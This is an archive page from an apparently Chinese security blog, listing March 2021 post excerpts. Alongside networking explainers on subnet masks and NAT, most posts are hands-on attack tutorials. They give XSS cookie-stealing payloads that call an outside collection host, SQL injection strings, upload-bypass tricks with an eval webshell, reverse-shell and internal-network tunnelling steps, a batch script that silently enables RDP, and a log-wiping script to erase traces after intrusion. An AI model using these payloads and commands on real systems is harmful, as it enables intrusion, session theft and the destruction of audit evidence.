网站首页 发表在 2021年03月 的所有文章

  • 网络掩码到底代表什么?

    类似的问题写过很多文章了,为什么还会不厌其烦地重复着写? 还有很大一部分读者没有完全理解关于网络掩码、本地有意义的真正含义。其实懂与似懂非懂之间就隔着一层纸,只要把这层纸捅破了,一下子就明白了。每个人都有自己理解抽象概念的方式。如果恰好每次的阐述方式可以让读者理解,那么可以将更多的读者拉到胜利的彼岸。 之所以懂得这个道理,是因为近年来辅导小朋友做数学作业,发现对于成年人来说极其简单的问题,小朋友也会做错。 比如有道题是这样的:妈妈有33块巧克力,是宝宝巧克力的块数的3倍多3块,问宝宝有几块巧克力? 常见的错误1:33 ➗  3 + 3 = 14常见的错误2:(33 + 3) ➗  3 = 12 我先这样和小朋友解释:假如妈妈的巧克力比33块少3块,那是不是恰好是宝宝的3倍? 算式应该是:(33-3) ➗  3 = 10 小朋友听得似懂非懂,因为他们不太理解为何要假如?按照这种方式来教,小朋友下次遇到还会错,因为并没有完全理解。 后来换一种方式教,直接在演草纸上写下: 33 ➗  ( ) = 3 ……3 问他们括号里的数是几? 小朋友立马列好了算式:(33-3) ➗ 3 = 10 因为他们对于“被除数”、“余数”、“商”、“除数”之间的关系是很熟练的,理清了关系算式就简单了。然后告诉他们,括号里的10就是宝宝的巧克力。小朋友遇到类似的题目再也没有错过。 此外,还告诉他们做完答案要演算。 10* 3 + 3 = 33 根据宝宝的巧克力块数10,可以算出妈妈的块数33,证明结果是正确的。 小朋友做错除了粗心,一般都是因为没有真正理解,而一旦他们真正理解就不会错。今天尝试一下看看能否把更多的读者拉到对岸。 IP地址手机、IPAD、电脑都是外表形式各异的计算机,而计算机要与外界(Internet)通信,必须要有一个IP地址。 IP地址是计算机的标识符吗?不是,因为计算机可能有多块网卡,每一块网卡都会绑定TCP/IP协议栈一个IP地址。意味着计算机可能会有多个IP地址,不满足唯一性,所以不能当做标识符。 主机A 有两块网卡:网卡1绑定的IP= 172.33.4.1/16网卡2绑定的IP= 172.33.4.2/16 用哪一个IP地址代表主机呢? 并不能。 只有具有唯一性的主机名(Hostname)才是主机的唯一标识符。当然对于大多数主机来说,只有一块网卡,一个IP地址,那么这个IP地址就具有唯一性,可以通俗地看作是主机的标识符。但是一定要记住,IP地址不是用于标识主机的,而是用于标识网卡所连接的物理链路。此话怎讲? 以网卡1绑定的IP= 172.33.4.1/16为例来深度阐述。 这个IP地址代表两层含义:  网卡1连接的物理链路的标识符(Segment ID) = 172.33 网卡1在物理链路(172.33)上的标识符(Host ID)= 4.1  怎么用生活中的语言来理解这两层含义? 可以用 172号楼第33单元来理解 物理链路标识符172.33。可以用 401房间来理解 网卡标识符4.1。 两者合起来代表的含义就是:172号楼第33单元401房间,也就是172.33.4.1。 如果还有同学不会用网络掩码长度,比如这里“/16”,求Segment ID和HostID,这里可以再讲最后一遍。 IP地址里的“.“符号,一共三个,将整个IP地址分割成4块,比如 172、33、4、1,每一块其实是二进制的8位,那么4块恰好是32位。将172、33、4、1按照从左到右的顺序排好,从左到右数到16停下来,停下来的位置左边的16位172.33就是Segment ID,右边的4.1就是Host ID。 问题来了,172.33这个物理链路能容纳多少个主机地址呢? 这个问题很抽象,其实问的是,172号楼第33单元最大可以有多少个房间号? 最小的房间号 = 172.33.0.0最大的房间号=  172.33.255.255 有同学可能会问,难道最大不可以为172.33.999.999? 上文已经说过,255代表是二进制的 “11111111”的8位,是最大的了,不可能更大。 那么只要房间号 = 172.33.x..x 的都属于172号楼第33单元,对吗?  小测验来了,考察一下同学们有没有学会。 测验一:172.33.67.129属于172号楼第33单元吗? 是 测验二:172.35.23.110属于172号楼第33单元吗? 不是 测验三:对住在172.33.4.1/16房间里人来说,房间号 =172.33.67.129,和自己在同一号楼,同一个单元吗? 是 测验四:对住在172.33.4.1/16房间里人来说,房间号 =172.35.23.110,和自己在同一号楼,同一个单元吗? 不是 今天先写到这里,该系列文章会持续更新。如果读者朋友们觉得看懂了,请转发给自己的朋友看,这是对本文最大的支持! 在下一篇文章里会重点写到,有一户人家老王,在同一号楼,同一个单元有两套房间,分别是: 172.33.4.1/16172.33.4.2/16 试问这两个房间可以直接通信吗?为什么?...

    2021-03-31 725
  • 2021Kali系列 -- 信息收集(子域名)

    一、在线查找 1、通过google语法 site:baidu.com 2、通过在线网站 https://phpinfo.me/domain 3、通过证书搜索 https://crt.sh/ 4、通过dns搜索 http://dns.bufferover.run/dns?q=baidu.com 二、sublist3r工具搜索 1、下载安装: git clone https://github.com/aboul3la/Sublist3r.git 2、安装需要的模块 pip3 install -r requirements.txt 3、搜索子域名 python3 sublist3r -d baidu.com -p 80,443 -o 1.txt 禁止非法,后果自负 ...

    2021-03-30 610
  • 2021Kali系列 -- 信息收集(Nmap)

    一、默认扫描 nmap 目标IP nmap 192.168.139.132 1、如果是root用户,默认的是SYN扫描 2、如果是普通用户,默认的是TCP连接扫描,不安全,慢 二、指定端口扫描 nmap -p 端口(范围) 目标IP nmap -p 20-25 192.168.139.132 三、穿透防火墙扫描,服务器禁止ping命令,可以试试-Pn,-A全面扫描,包括系统和版本信息 nmap -Pn -A 192.168.139.132 四、漏洞扫描 nmap -script=vuln 192.168.139.132 五、扫描系统和程序版本号检测 六、端口状态: 1、open:端口打开 2、close:端口关闭 3、filter:端口被过滤,数据不能到达主机 4、unfilter:端口未被过滤,数据能到主机,但不能识别端口 七、nmap脚本扫描 1、nmap脚本分类,有以下几个大类: auth:负责处理鉴权证书(绕开鉴权)的脚本 broadcast:在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务 brute:提供暴力破解方式,针对常见的应用如http/snmp等 default:使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力 discovery:对网络进行更多的信息,如SMB枚举、SNMP查询等 dos:用于进行拒绝服务攻击 exploit:利用已知的漏洞入侵系统 external:利用第三方的数据库或资源,例如进行whois解析 fuzzer:模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞 intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽 malware:探测目标机是否感染了病毒、开启了后门等信息 safe:此类与intrusive相反,属于安全性脚本 version:负责增强服务与版本扫描(Version Detection)功能的脚本 vuln:负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067 2、whoami信息扫描 nmap --script=whois-domain baidu.com 3、DNS解析扫描 nmap --script=dns-brute baidu.com 八、nmap导出结果 1、nmap  192.168.139.132 -oN /home/aiyou/桌面/1.txt 禁止非法,后果自负 ...

    2021-03-30 637
  • 2021Kali系列 -- 基础命令学习

    一、VIM编辑器 1、打开1.txt文件 vim 1.txt,默认是命令模式,可以通过ctrl+shift+V快捷键粘贴内容 2、模式切换 esc:切换命令模式 i:切换输入模式 l:在光标所在行首转换为输入模式 a:在当前光标所在字符的后面,转为输入模 A:在光标所在行的行尾,转换为输入模式 o:在当前光标所在行的下方,新建一行,并转为输入模式 O:在当前光标所在行的上方,新建一行,并转为输入模式 s:删除光标所在字符 r:替换光标处字符 D:删除一行 3、查找 /:从光标处往后查找 ?:从光标处往前查找 4:保存,先输入: q:退出 w:保存 wq!:强制保存退出 二、创建文件、文件夹 1、创建1.txt文件 touch 1.txt 2、创建1文件夹 mkdir 1 3、将123写入到123.txt,没有123.txt文件会创建 echo 123>>123.txt 三、目录相关命令 1、cd .. 返回上一程 2、cd / 进入根目录 3、cd /etc 进入etc目录 4、pwd 查看当前所在目录 5、ls -an 显示所有文件及文件的权限 四、系统相关命令 1、top 显示当前系统正在执行的进程相关信息 2、ifconfig 查看ip相关信息 3、uname -a 查看系统版本相关信息 4、history 查看历史使用命令 五、开启apach服务 1、service apache2 start 2、cd /var/www/html 该目录是网站目录 3、通过ifconfig查询ip即可访问 禁止非法,后果自负 ...

    2021-03-28 635
  • HW常见攻击方式 --XSS跨站脚本攻击

    一、XSS介绍 跨站脚本攻击(CrossSiteScripting),为不和层叠样式表(CascadingStyleSheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。 二、XSS平台 1、注册登陆账号,没有百分之百的安全,仅供测试交流 https://xssaq.com/xss.php 2、新建项目 3、自动生成要插入的xss代码 <sCRiPt/SrC=https://xssaq.com/dGLM> 三、反射性xss 1、在存在xss漏洞的网站,插入上面生成的xss代码,点击submit 2、刷新xss平台,会发现有一条数据 3、知道了网址,也知道cookie,下面利用工具登录,不用输入账号密码,直接登录了dvwa平台 4、反射性xss是一次性的,也就是说,需要人去点击下面的链接,才能触发该漏洞 http://192.168.1.14/dvwa/vulnerabilities/xss_r/?name=%3CsCRiPt%2FSrC%3Dhttps%3A%2F%2Fxssaq.com%2FdGLM%3E# 四、存储型xss 1、在留言板输入上面生成xss代码 2、只要刷新一下该页面,xss平台就出现一条记录,也就是说只要有人看到该留言板,我们就能获取其cookie 3、利用工具登录 4、存储型xss漏洞,理论是永久的,只要有人浏览到你插入的代码,他的cookie信息就会被拿到。 五、DOM型XSS 1、点击select,发现url中有English, 2、修改url中english为aaa,发现插入了代码中,所以存在dom型xss注入 3、插入生成的xss代码,即可获取对方的cookie 六、工具下载:加入交流群 ...

    2021-03-23 695
  • 渗透测试入门 -- 网络基础

    一、技术架构 1、C/S模式 客户端与服务器进行交互,比如qq、播放器 2、B/S模式 浏览器与服务器进行交互,比如各种浏览器 二、HTTP协议 1、概念 HTTP协议(HyperText Transfer protocol),超文本传输协议)是用于从WWW服务器传输超文本到本地浏览器的传输协议。它可以使浏览器更加高效,使网络传输减少。它不仅保证计算机正确快速地传输超文本文档,还确定传输文档中的哪一部分,以及哪部分内容首先显示(如文本先于图形)等。 2、交互过程 3、请求方式,搞清楚这两种GET、POST GET / HTTP/1.1 //请求头、 绝对路径、http版本Host: www.baidu.com //主机地址Connection: keep-alive //保持连接User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.54 //浏览器指纹Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 //可接受数据类型Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6//数据是否压缩Cookie: COOKIE_SESSION=172_0_2_0_2_0_1_0_2_0_0_0_230_1603019818_3_0_1603019991_0_1603019988%7C3%230_1_1603019816%7C1; BAIDUID=9E26AC2D4C32E68570BEE1E10C800038:FG=1; BIDUPSID=9E26AC2D4C32E685011F62D003139B4A; PSTM=1603019471 //cookie信息 POST /dvwa/login.php HTTP/1.1 //请求方式、绝对路径、http版本信息Host: 192.168.1.106 //主机地址Content-Length: 86 //实体数据的大小Cache-Control: max-age=0 //向server 发送http 请求确认 ,该资源是否有修改,有的话 返回200 ,无的话 返回304.Origin: http://192.168.1.106 //谁发起的Content-Type: application/x-www-form-urlencoded //告诉客户端实际返回的内容的内容类型User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 //浏览器指纹Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 //可接受数据类型Referer: http://192.168.1.106/dvwa/login.php //重定向地址Accept-Encoding: gzip, deflate //可接受压缩数据包Accept-Language: zh-CN,zh;q=0.9 //可接受数据语言Cookie: security=low; PHPSESSID=7maqsmj55p7t98luium583pm91 //cookie信息Connection: close //关闭长连接 //回车username=admin&password=123321&Login=Login&user_token=5a5e4fe4cd22298541d4accc9574f51e //post提交的数据 4、状态码 200:正常访问 302:重定向 403:文件存在,但是禁止访问 404:文件不存在 500:服务器宕机 三、OSI七层模型 1、物理层---网卡 2、数据链路层---交换机 3、网络层---路由器 4、传输层---TCP/IP协议 5、会话层---建立通信拨号上网 6、表示层---数据的加解密 7、应用层---HTTP协议 四、Cookie和Session 1、Session与Cookie的最大区别就是一个存储在服务器端,一个存储在客户端。 2、cookie不是很安全,别人可以分析存放在本地的COOKIE并进行COOKIE欺骗。 3、session会在一定时间内保存在服务器上。当访问增多,会比较占用你服务器的性能。 4、单个cookie保存的数据不能超过4K,很多浏览器都限制一个站点最多保存20个cookie。 禁止非法,后果自负 ...

    2021-03-22 651
  • HW常见攻击方式 -- 文件上传及文件包含漏洞

    一、概念 文件上传漏洞,也就是常说的上传木马程序,一般先传小马,通过小马上传大马 文件包含漏洞,可以读取服务器本地文件 二、文件上传 1、本地上传限制不严格,头像上传,通过修改数据包上传文件后缀,可以绕过该限制。 选择一句话木马的php文件,提示只能上传JPEG和PNG文件 抓包,将Content-Type属性修改为:image/jpeg,点击发送 解释:MIME类型用来设定某种扩展名文件的打开方式,当具有该扩展名的文件被访问时,浏览器会自动使用指定的应用程序来打开。如GIF图片MIME为Image/gCSs文件MIME类型为text/ss。上传时,程序会对文件MME类型做验证。 提示上传成功 菜刀连接 2、服务器配置不当,HTTP没有禁用PUT和OPTIONS请求方法 3、文件解析漏洞:Apche、Nginx、IIS Apache解析漏洞 Apache对文件解析是从右到左的,由于 Apache无法解析rar和owf后缀,但能够解析php后缀,因此 Apache会将 x.php owf.rar当做php格式的文件进行解析并执行 http://www.aiyoubucuo.com/x.php.owf.rar Nginx<8.03空字节代码执行漏洞 影响范围: Nginx0.5.0.6,0.7<=0.7.65,0.8<=0.8.37访问以下网址,服务器将把x.jpg文件当做php解析并执行 http://www.aiyoubucuo.com/x.jpg%00.php IIS7.0/IIS7.5/ Nginx<0.8.3畸形解析漏洞 在默以 Fast-CGI开启状况下,访问以下网址,服务器将把x.jpg文件当做php解析并执行 http://www.aiyoubucuo.com/x.jpg/.php IIS 5.x/6.0解析漏洞 目录解析:在网站下建立文件夹的名称中带有.asp、.asa等可执行脚本文件后缀为后缀的文件夹,其目录内的任何扩展名的文件都被IIS当作可执行文件来解析并执行 http://www.aiyoubucuo.com/x.asp/x.jpg 文件解析在IIS6.0下,分号后面的不被解析x. asp;.jpg将被当做x.asp解析并执行。 http://www.aiyoubucuo.com/x.asp;.jpg IIS6.0默认的可执行文件有asp、asa、cer、cdx四种。 4、文件路径截断:%00截断 00截断的原理,就是利用0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。 限制条件: 0X00截断是16进制的截断,需要修改16进制的数据头,使用burp在Hex中对数据进行改写 PHP<53.29, magic_quotes_gpc=OFF %00的使用是在路径上,不是在文件名中"a. php%00b jpg" 由于%00做了截断,所以最后服务器接收到的文件名依然还是 a. php,因为在接收的时候,就直接对url编码进行解码,然后再去接收文件,这时候的文件名就变成了a.php,后面的 b. jpg已经被截断 三、文件包含漏洞 1、概念 一些网站由于业务需求,提供文件下载功能,但如果对用户查看或下载的文件不受限制,则恶意用户就能够查看或下载任意敏感文件,如脚本代码,服务及系统配置文件等,如果得到代码可以进行代码审计,得到更多可利用漏洞直接执行代码的函数: 2、常用函数 eval()、 assert()、 system()、exec()、 shell exec()、 passthru()、 escapeshellcmd()、 pcnl_exec()等 eval():该函数把字符串按照PHP代码来计算,如常见的句话后门程序:<? php eval($_ POST[a])?> assert():该函数与eval类似,字符串被 assert()当做PHP代码来执行; 3、PHP中常见的导致文件包含的函数:  require:找不到被包含的文件时会产生致命错误( E COMPILE ERROR),并停止脚本 include:找不到被包含的文件时只会产生-个( E waring),脚本将继续执行 require_once:与 require类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含 include once:与 include类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含 4、重要文件路径 1、Unix/liux系统: /etc/passwd /usr/local/app/apache2/conf/httpd.conf //apache2默认配置文件/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置/usr/local/app/php5/lib/php.ini //PHP相关设置/etc/httpd/conf/httpd.conf //apache配置文件/etc/my.cnf //Mysql配置文件 2、Windows系统 C:\\boot.ini //查看系统版本C:\windows\\system32\\inetsrv\\MetaBase.xml //IIS配置文件C:\\Program files\\mysql\\my.ini //mysql配置C:\\Program Filed\\mysql\data\\mysql\\user.MYD //Mysql rootC:\\windows\\php.ini //php配置信息C:\\windows\\my.ini // Mysql配置文件 禁止非法,后果自负 ...

    2021-03-21 698
  • WebShell -- Linux反弹

    小攻:IP地址:192.168.139.129  Win7 小受:IP地址:192.168.139.128,Ubuntu 一、拿到webshell后,点击反弹提权 二、小攻运行nv -vv -l -p 3355 三、在反弹提权页面,输入小攻的地址及上面监听的端口号,点击开始连接 四、小攻已成功连接小受,输入命令函数whoami查看权限是www 五、查看该系统版本号uname -a,根据该版本号查找相应的EXP,上传到小受并执行 六、工具下载:加入交流群 禁止非法,后果自负 ...

    2021-03-20 583
  • HW常见攻击方式 -- SQL注入漏洞

    一、产生原因代码与数据不区分。程序把用户输入的恶意内容传入SQL语句中执行,导致SQL注入漏洞产生。 二、常见挖掘方式 直接对url中的参数(请求参数、请求头)进行注入 Burp抓取post包进行注入 三、判断注入点 单引号判断:如果出现错误回显,则该页面就可能存在sql注入 http://www.webanquangongjuku.com/aiyou.php?id=1' and判断: http://www.webanquangongjuku.com/aiyou.php?id=1' and 1=1 返回正常http://www.webanquangongjuku.com/aiyou.php?id=1' and1=2 如果报错,说明存在注入 or判断: http://www.webanquangongjuku.com/aiyou.php?id=1' or 1=1 http://www.webanquangongjuku.com/aiyou.php?id=1' or 1=2 返回正常,说明存在注入 XOR判断:后面的语句如果是正确的,则返回错误页面,如果是错误的,则返回正确页面,说明存在注入点 http://www.webanquangongjuku.com/aiyou.php?id=1' xor 1=1 http://www.webanquangongjuku.com/aiyou.php?id=1' xor 1=2 加减号数字判断:返回的页面和前面的页面相同,加上-1,返回错误页面,则表示存在注入漏洞 http://www.webanquangongjuku.com/aiyou.php?id=10-1 四、GET请求注入流程: 1、判断是否存在注入 1' 1' and 1=1 2、判断可显示列 1' order by 2#1' order by 3# 1' union select 1,2# 3、查询版本号和数据库 1' union select version(),database()# 4、获取当前数据库的所有表名 1' union select 1,table_name from information_schema.tables where table_schema=database()# 5、获取users表的列名 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# 6、获取users表的user和password列 1' union select user,password from users# 五、POST请求注入流程 1、通过BurpSuite抓包 2、可以手动判断,但是能用sqlmap就不用手动,所以将该包保存到1.txt文件 sqlmap -r 1.txt 3、查看是不是管理员权限 sqlmap -r 1.txt --is-dba 禁止非法,后果自负 ...

    2021-03-19 638
  • WebShell -- 外网加入对方内网网络

    小攻:IP地址:192.168.1.103   win7 小受:IP地址:双网卡192.168.1.105/192.168.4.11  win2003 当拿到一台内网主机的时候,如何将攻击机加入到对方内网网络,可以通过reGeorg实现 一、下载地址(软件作者) https://github.com/sensepost/reGeorg 二、通过webshell将对应的文件上传到服务器,有php、jsp等等 三、运行reGeorg python reGeorgSocksProxy.py -p 1234 -uhttp://192.168.1.105/tunnel.aspx 四、打开代理工具Proxifier 1、添加代理 五、通过御剑扫描,如果不在一个内网就不能扫描,通过上面操作,就可以扫描另一个网卡了 六、工具下载:加入交流群 注意:软件均来自网络,不能保证安全性 ...

    2021-03-18 680
  • 后渗透阶段清理痕迹方式总结

    一、前言 在渗透完成之后,为了减少被发现和追溯的概率,攻击者有必要清除自己的攻击痕迹,本文分别对windows和linux上清理痕迹的方式做一个总结。 二、windows 有远程桌面权限时手动删除日志: 1 开始-程序-管理工具-计算机管理-系统工具-事件查看器-清除日志 wevtutil: 1 2 3 4 wevtutil el 列出系统中所有日志名称 wevtutil cl system 清理系统日志 wevtutil cl application 清理应用程序日志 wevtutil cl security 清理安全日志 meterperter自带清除日志功能: 1 clearev 清除windows中的应用程序日志、系统日志、安全日志 清除recent: 在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮 或直接打开C:\Users\Administrator\Recent并删除所有内容 或在命令行中输入del /f /s /q “%userprofile%\Recent*.* 三、linux 清除命令历史记录 1 2 3 4 histroy -r #删除当前会话历史记录 history -c #删除内存中的所有命令历史 rm .bash_history #删除历史文件中的内容 HISTZISE=0 #通过设置历史命令条数来清除所有历史记录 在隐蔽的位置执行命令 使用vim打开文件执行命令 1 2 :set history=0 :!command linux日志文件 1 2 3 4 5 6 7 8 9 10 11 /var/run/utmp 记录现在登入的用户 /var/log/wtmp 记录用户所有的登入和登出 /var/log/lastlog 记录每一个用户最后登入时间 /var/log/btmp 记录错误的登入尝试 /var/log/auth.log 需要身份确认的操作 /var/log/secure 记录安全相关的日志信息 /var/log/maillog 记录邮件相关的日志信息 /var/log/message 记录系统启动后的信息和错误日志 /var/log/cron 记录定时任务相关的日志信息 /var/log/spooler 记录UUCP和news设备相关的日志信息 /var/log/boot.log 记录守护进程启动和停止相关的日志消息 完全删除日志文件: 1 2 3 4 5 cat /dev/null > filename : > filename > filename echo "" > filename echo > filename 针对性删除日志文件: 1 2 删除当天日志 sed -i '/当天日期/'d filename 篡改日志文件: 1 2 将所有170.170.64.17ip替换为127.0.0.1 sed -i 's/170.170.64.17/127.0.0.1/g' 一键清除脚本: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #!/usr/bin/bash echo > /var/log/syslog echo > /var/log/messages echo > /var/log/httpd/access_log echo > /var/log/httpd/error_log echo > /var/log/xferlog echo > /var/log/secure echo > /var/log/auth.log echo > /var/log/user.log echo > /var/log/wtmp echo > /var/log/lastlog echo > /var/log/btmp echo > /var/run/utmp rm ~/./bash_history history -c ...

    2021-03-17 619
  • WebShell -- 外网远程连接内网

    一、环境: 1、内网主机IP:192.168.1.106  win2003 2、假设外网主机ip:192.168.1.104 win7 二、通过大马上传lcx.exe到服务器内网 1、将内网3389端口转发到外网2222端口 lcx.exe -slave 192.168.1.104 2222 127.0.0.1 3389 2、在攻击机win7监听2222本地端口,转发到4444端口 lcx.exe -listen 2222 4444 3、在攻击机win7中远程连接 三、利用工具转发reDuh 1、将软件自带的脚本拷贝到服务器中,根据不同环境,选择不同脚本 2、打开reDuh,将脚本文件上传的路径填写到URL,点击start,再点击create 3、打开远程连接,这个有点缓慢,但是可以连接成功的,详细见交流群视频教程 工具下载方式:加入交流群 ...

    2021-03-15 617
  • WebShell -- 开启3389服务

    一、查询远程连接的端口 1、命令查询,win7/win10/win2003都可以使用 REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber 0xd3d转换十进制是3389 2、注册表查询 二、开启3389端口的方法 1、工具开启 2、批处理开启,将下面代码复制到bat文件,双击自行开启远程连接 echo Windows Registry Editor Version 5.00>>3389.regecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.regecho "fDenyTSConnections"=dword:00000000>>3389.regecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.regecho "PortNumber"=dword:00000d3d>>3389.regecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.regecho "PortNumber"=dword:00000d3d>>3389.regregedit /s 3389.regdel 3389.reg 三、当3389端口被修改后,如何查找 1、通过大马的读注册表、找到3389端口,然后读取 2、通过大马的cmd命令 tasklist /svc,获取termservice的pid号 再执行netstat -ano查找2684对应的的端口就是远程连接端口 3、通过工具扫描 工具下载方式:加入交流群 注意:软件均来自网络,不能保证安全性 ...

    2021-03-14 744
  • 某公司网络地址是202.117.240.0,被划分成16个子网,每个子网的子网掩码是多少?

    现在来讨论这个小问题,202.117.240.0这个是一个地址段,不是一个IP地址。 202.117.240.0网络的掩码是多少? 网络掩码能是255.255.255.255?如果是一个IP地址,那么应该写成 202.117.240.0/32,表示IP= 202.117.240.0属于网段202.117.240.0,这个网段只有一个IP地址,即202.117.240.0。 很显然,一个IP地址,无法平均分成16个子网。一个网段地址至少要包含16个地址,才有可能被16除,那么满足这个条件的网段要至少包含16个IP地址。 通过这篇文章的介绍知道以下信息: 202.117.240.0/32  这个网段有1个IP地址;202.117.240.0/31  这个网段有2个IP地址;202.117.240.0/30  这个网段有4个IP地址;202.117.240.0/29  这个网段有8个IP地址;202.117.240.0/28  这个网段有16个IP地址; 202.117.240.0/28黄色加亮的满足划分子网的能力,因为它包含16个IP地址,平均分成16个子网,每个子网包含一个IP地址,这16个IP地址的样子应该是这样的: 202.117.240.0/32202.117.240.1/32202.117.240.2/32202.117.240.3/32202.117.240.4/32。。。 202.117.240.13/32202.117.240.14/32202.117.240.15/32 一共16个IP地址。 继续玩上面的游戏,将网络掩码从28减小为27。202.117.240.0/27  这个网段有32个IP地址。32也可以被16整除,没有余数。 202.117.240.0/27一共32个地址,平均分成16份,每份的个数=2,用网络掩码来表示:202.117.240.0/31202.117.240.2/31202.117.240.4/31。。。202.117.240.28/31202.117.240.30/31 继续上面的游戏,将网络掩码从27减小为26。 202.117.240.0/26  这个网段有64个IP地址。64也可以被16整除,商=4,余数=0。 202.117.240.0/30202.117.240.4/30。。。202.117.240.56/30202.117.240.60/30 继续上面的游戏,将网络掩码从26减小为25。 202.117.240.0/25  这个网段有128个IP地址。128也可以被16整除,商=8,余数=0。 202.117.240.0/25被切割成16个子网,分别如下: 202.117.240.0/29202.117.240.8/29 。。。202.117.240.112/29202.117.240.120/29  继续上面的游戏,将网络掩码从25减小为24。 202.117.240.0/24  这个网段有256个IP地址。256也可以被16整除,商=16,余数=0。 202.117.240.0/24被切割成16个子网,分别如下: 202.117.240.0/28202.117.240.16/28202.117.240.32/28202.117.240.48/28202.117.240.64/28202.117.240.80/28202.117.240.96/28。。。202.117.240.208/28202.117.240.224/28202.117.240.240/28 还能继续玩吗?不能再玩了,因为再玩就把别人家的IP地址,分给了自己的孩子。让咱们试一试。 网络掩码从24减小为23。 202.117.240.0/23  这个网段有512个IP地址。512也可以被16整除,商=32,余数=0。 202.117.240.0/23被切割成16个子网,分别如下: 202.117.240.0/27 (自家的IP地址)202.117.240.32/27 (自家的IP地址)202.117.240.64/27 (自家的IP地址)202.117.240.96/27 (自家的IP地址)202.117.240.128/27 (自家的IP地址)。。。202.117.240.224/27 (自家的IP地址)202.117.241.0/27 (灰色部分,从这里开始都是别人家的IP地址)202.117.241.32/27。。。202.117.241.192/27202.117.241.224/27 所以,将202.117.240.0平均分成16个子网,202.117.240.0默认使用/24掩码,每个子网的掩码= “/28”。在没有约束网络掩码= /24的前提下,使用/28、/27、/26、/25也是可以的。使用/28表示该公司只拥有16个IP地址,使用/24表示该公司拥有256个IP地址。...

    2021-03-12 656
  • webshell后门分析

    一、访问上传的木马文件 http://192.168.1.104/1.asp 二、点击F12,打开谷歌自带的开发人员工具,点击network 三、输入密码,看看抓包情况,该木马会自动向某网站上传木马路径和密码 四、查看木马源文件,然后搜索该网址,随便修改为一个无效地址,该木马用的是反转加密,所以我们搜索不到,有时候是其他加密,需要解密才可以修改 注意:抓包的时候,有的后门不是一登录就发送的,也有可能停一段时间才发送,甚至当你退出的时候才发送 ...

    2021-03-11 535
  • 为何Ping不通电脑的公网IP?

    为什么我知道了自己pc的公网ip,还是ping不通呢?通过这个网站获得的ip www.ip138.com,并不能ping通。然后我在pc开了一个udp客户端进程,远程服务器也开了一个udp服务端进程,客户端发包给远程,可以收到回应,远程显示请求的ip也是对的。然后我在远程服务器开了一个客户端进程发包给我pc的ip,依旧没有反应。这是为什么呢。我电脑能看百度的网页说明我电脑的ip是有效的,百度也是可以响应。为什么反过来就请求它就卡住了? 为何Ping不通自己的公网IP?默认读者有NAT的基础知识。如果没有,可以在博客里找NAT章节阅读。 ISP对于出网(outbound)流量,需要在ISP网关上用自己的外网接口(Internet facing interface)的IP地址来替换IP报文的源IP地址,并将创建的替换关系以NAT表的方式下压到硬件FIB表里。当Ping报文的回复报文返回时,在硬件芯片匹配到刚刚生成的FIB表,所以返程流量可以进来,并最终到达你的电脑,那么你就可以Ping通。 为何Ping不通呢?网关禁止Ping,其实就是一个Inbound方向的ACL Deny过滤列表,这个ACL列表比FIB表更先看到Ping的回复报文。由于拒绝操作,报文被丢弃,所以无法Ping通。 为何可以访问远程UDP服务器,而远程服务器作为客户端却无法访问我电脑上的服务器? NAT网关,默认允许由内网(inside)主动发起的流量,而拒绝由外网(outside)主动发起的流量。 什么是内网(inside)主动发起的流量?你用电脑(inside)访问远程(outside)服务器,流量是内网的电脑触发的。 什么是外网(outside)主动发起的流量?远程服务器作为客户端(outside)访问你的电脑(inside)服务器,流量是外网的电脑触发的。 其实已经回答了你的第二个问题。当允许内网(inside)主动发起的流量,潜台词是,同时还允许返程流量。 远程服务器如何才能访问你的电脑呢?需要你的电脑在NAT网关上主动创建一个FIB表,一个FIB表条目其实就是一个小门,这个小门只允许曾经从这个小门出去的人,才能进来。如果不是从这个小门出去的人,对不起,无法进入。 这个小门其实就是一张转换表,假设你的电脑IP =192.168.1.2 , 使用2222端口访问服务器IP= 3.3.3.3 ,端口3333。  NAT网关生成的NAT表(192.168.1.2/2222, 3.3.3.3/3333)---(1.1.1.1/56789,3.3.3.3/3333)。 服务器看到的IP报文来自于1.1.1.1/56789。 NAT网关上小门的口令就是(1.1.1.1/56789,3.3.3.3/3333)。 服务器只要使用(3.3.3.3/3333)做为源IP/端口号,使用(1.1.1.1/56789)做为目的IP/端口号的IP报文,就可以从小门进入。 为了让小门永远敞开,需要双方用keep alive周期性刷新,否则小门会在没有流量刷新的情况下而超时删除,那么远程服务器的流量再也无法进入。只有让客户端主动发起流量,再创建一个小门才可以。...

    2021-03-09 772
  • Metasploit -- 利用Hash远程登录

